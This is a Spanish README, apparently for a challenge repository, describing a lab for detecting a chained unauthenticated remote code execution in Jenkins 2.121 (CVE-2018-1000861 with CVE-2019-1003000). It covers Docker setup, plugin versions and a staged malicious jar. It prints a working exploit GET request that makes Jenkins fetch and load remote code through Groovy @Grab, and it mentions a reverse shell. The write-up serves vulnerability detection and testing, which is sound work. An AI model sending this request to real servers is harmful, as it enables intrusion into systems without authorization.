CVE-2019-1003000_DETECCIÓN-RCE

Resumen General

Encadenando la vulnerabilidad CVE-2018-1000861 con CVE-2019-1003000, creé un módulo para probar un RCE sin autenticación en Jenkins CI. Inicialmente, intenté detectar la vulnerabilidad con un nombre de usuario, contraseña y nombre de trabajo; sin embargo, pensé que sería más realista e interesante abordar este desafío encadenando las dos vulnerabilidades juntas.

Requisitos Previos

Tener Visual Studio o el framework .NET Core instalado en tu máquina Windows, Linux o macOS.

Configuración del Entorno (Cómo lo hice)

1. Primero, descargué la versión especificada de Docker (de las instrucciones del desafío) desde DockerHub: docker pull jenkins/jenkins:2.121
2. Luego escribí un script bash (que se encuentra en este repositorio) para lanzar un nuevo contenedor Docker ejecutando el servidor Jenkins vulnerable y lo monté enlazado a la máquina local
   • Usuario Administrador
     • nombre de usuario - Naruto
     • Contraseña - Uzumaki
     • Nombre - Naruto
3. Luego navegué a plugins.index.io para encontrar versiones específicas de plugins para instalar en Jenkins
   • Plugin Declarative - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
   • Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
   • Plugin Script Security - https://updates.jenkins.io/download/plugins/script-security/
   • Puntos de Extensión Declarative - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
     • Después de instalar los plugins, navega a la sección 'Avanzado' en 'Gestionar plugins' y limpia el campo de Sitio de Actualización y guarda para que no se actualice automáticamente al reiniciar

Ejecución (Cómo debes instalar y ejecutar)

1. Navega al directorio payload y ejecuta mvDir.sh
   • Ejecuta como ./mvDir.sh
     • Ya debería estar marcado como ejecutable, si no, ejecuta chmod +x mvDir.sh. Si aún no funciona, puedes ejecutarlo como bash mvDir.sh
     • Este comando moverá el directorio que contiene el jar malicioso a la raíz del ordenador, que es donde la solicitud GET buscará cuando encuentre el archivo jar especificado en la solicitud maliciosa
2. Navega a jenkins_environment y ejecuta ./run_vuln_jenkins.sh
   • Sigue las instrucciones anteriores si el comando de arriba no funciona.
   • Este script bash ejecutará el contenedor Docker que aloja el servidor Jenkins vulnerable (en http://localhost:8080)
   • Adicionalmente, ejecutar ./run_updated_jenkins.sh o bash run_updated_jenkins.sh iniciará un servidor Jenkins seguro y actualizado ejecutándose en http://localhost:8000 y ejecutar el módulo contra este mostrará que es seguro y no vulnerable a CVE-2018-1000861 encadenado con CVE-2019-1003000.
3. Navega a exploit-detection-code/jenkins-server-rce/
   • Este proyecto fue construido usando el framework .NET Core. Para ejecutarlo, primero llama al comando

Pensamientos

La planificación inicial que había creado fue un buen marco de trabajo para cómo abordé la solución; sin embargo, a medida que avanzaba descubrí que estaba complicando mucho el trabajo más de lo necesario. Inicialmente había creado un script bash para lanzar una reverse shell a mi máquina host para probar RCE. Sin embargo, el objetivo de este desafío era demostrar que la vulnerabilidad existía. En este caso, era demostrar que se podía ejecutar un RCE en Jenkins versión 2.121.2 con los siguientes plugins: Pipeline: Declarative Plugin hasta 1.3.4, Pipeline: Declarative Extension Points API hasta 1.3.4, Pipeline: Groovy Plugin hasta 2.61, Script Security Plugin hasta 1.49.

No necesitaba realmente crear una reverse shell y demostrar que puedo lanzar comandos arbitrarios. Debido a esto, es más fácil de detectar tanto en Windows como en sistemas operativos basados en .nix. Después de hacer la solicitud GET, descubrí que la página responderá con un estado marcado como éxito o imprimirá un mensaje de error. Sin embargo, para asegurarme de que el estado de éxito no fuera un falso positivo, configuré un servidor web en mi host usando python -m SimpleHTTPSever 80 y al lanzar la solicitud GET personalizada al archivo JAR malicioso especificado (que se encuentra en la carpeta payload), se puede ver que la solicitud GET responde con un código de estado 200 con la ruta correcta al archivo jar que se encuentra en la máquina local, probando que la vulnerabilidad existe. A continuación se muestra un ejemplo de la solicitud GET y la respuesta correspondiente. Las diferentes rutas de archivos (tw/ y www/) contienen cada una el jar malicioso; solo son diferentes rutas que la solicitud navega para encontrarlo.

Solicitud GET

http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

Fuentes Usadas

• https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html?showComment=1556463533669#c1268121200706050658
• https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
• https://blog.alertlogic.com/emerging-threat-jenkins-plugins-remote-code-execution/